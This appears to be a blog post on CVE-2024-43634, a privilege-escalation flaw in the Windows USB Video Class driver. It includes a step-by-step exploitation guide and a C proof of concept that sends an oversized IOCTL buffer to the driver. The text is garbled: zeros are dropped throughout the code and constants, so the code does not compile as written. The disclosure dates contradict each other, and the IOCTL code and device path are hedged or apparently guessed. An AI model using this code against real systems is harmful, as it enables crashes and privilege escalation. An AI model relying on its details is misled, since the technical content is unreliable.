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Introduction

On May 2024, Microsoft disclosed a significant vulnerability in its Windows USB Video Class (UVC) System Driver (usbvideo.sys), tracked as CVE-2024-43634. This flaw allows local attackers to elevate their privileges on affected Windows systems. If abused, it can be a stepping stone for malware or threat actors to gain SYSTEM-level access, easily bypassing basic security measures.

In this post, we'll break down the vulnerability, explain how it works, provide example code snippets, and guide you through exploitation. By the end, you'll understand the risk, how exploitation works, and why patching is critical.

What is the Windows USB Video Class Driver?

usbvideo.sys is the main system driver responsible for handling webcams and other video capture devices on Windows. It's loaded whenever you plug in a USB camera or similar hardware. Because drivers like this work in kernel mode (Ring ), any bug can have serious security consequences.

The Vulnerability (CVE-2024-43634) Explained

Microsoft describes CVE-2024-43634 as an Elevation of Privilege vulnerability in the USB Video Class driver. Here’s the brief from their Security Update Guide:

> "An attacker who successfully exploited this vulnerability could gain SYSTEM privileges. To exploit this vulnerability, an attacker would have to log on to the system and run a specially crafted application."

Under the Hood

The vulnerability lies in the way the usbvideo.sys driver handles certain IOCTL requests (input/output control codes) sent from userland. There's insufficient validation of buffer sizes and input data, allowing an attacker to:

Inject code or commands running with SYSTEM privileges

In simple terms: A regular user can send a bad request to the driver, crash it, or run their own code as the most powerful user on the system.

Which Systems are Affected?

The vulnerable component is present in all supported Windows versions (Windows 10, 11, Server 2016/19/22) that have not been patched after June 2024.

Log onto the vulnerable Windows computer.

2. Craft a program (in C/CPP, Python with ctypes, or even Powershell) that opens the usbvideo.sys device (\\.\USBVideo) with appropriate permissions.

Key IOCTL

It appears that IOCTL x002224C is not handling buffer lengths right.

Example Code (C)

#include <Windows.h>
#include <stdio.h>

#define IOCTL_USBVIDEO_VULN x002224C

int main() {
    HANDLE device = CreateFileA("\\\\.\\USBVideo", GENERIC_READ | GENERIC_WRITE, , NULL, OPEN_EXISTING, , NULL);
    if (device == INVALID_HANDLE_VALUE) {
        printf("Failed to open device. Error: %d\n", GetLastError());
        return 1;
    }

    // Malicious buffer, intentionally too large
    DWORD inputSize = x100;
    BYTE *inputBuffer = (BYTE*)malloc(inputSize);
    memset(inputBuffer, x41, inputSize); // Fill with 'A'

    DWORD bytesReturned;
    BOOL result = DeviceIoControl(
        device,
        IOCTL_USBVIDEO_VULN,
        inputBuffer,
        inputSize,
        NULL,
        ,
        &bytesReturned,
        NULL);

    if (result) {
        printf("IOCTL sent!\n");
    } else {
        printf("IOCTL failed. Error: %d\n", GetLastError());
    }

    free(inputBuffer);
    CloseHandle(device);
    return ;
}

> Warning: Running such code on a vulnerable system may crash your machine or allow further exploitation (privilege escalation). Do not run this on production or unpatched systems.

Privilege Escalation: Local users (including malware) can become SYSTEM.

- Persistence: Attackers may install persistent malware outside the reach of normal user-level tools.
- Defense Evasion: By running as SYSTEM, attackers can turn off security software or hide their tracks.

Original References

- Microsoft MSRC CVE-2024-43634 Advisory
- GitHub - Possible Exploit Research (if available)
- Windows Kernel Driver Attack Surface

Conclusion

CVE-2024-43634 serves as a powerful reminder: even innocent devices like USB webcams can become attack vectors if their drivers hold hidden flaws. Don’t delay – update your Windows systems immediately. Kernel vulnerabilities are the keys to the kingdom.

Timeline

Published on: 11/12/2024 18:15:32 UTC
Last modified on: 11/22/2024 15:48:59 UTC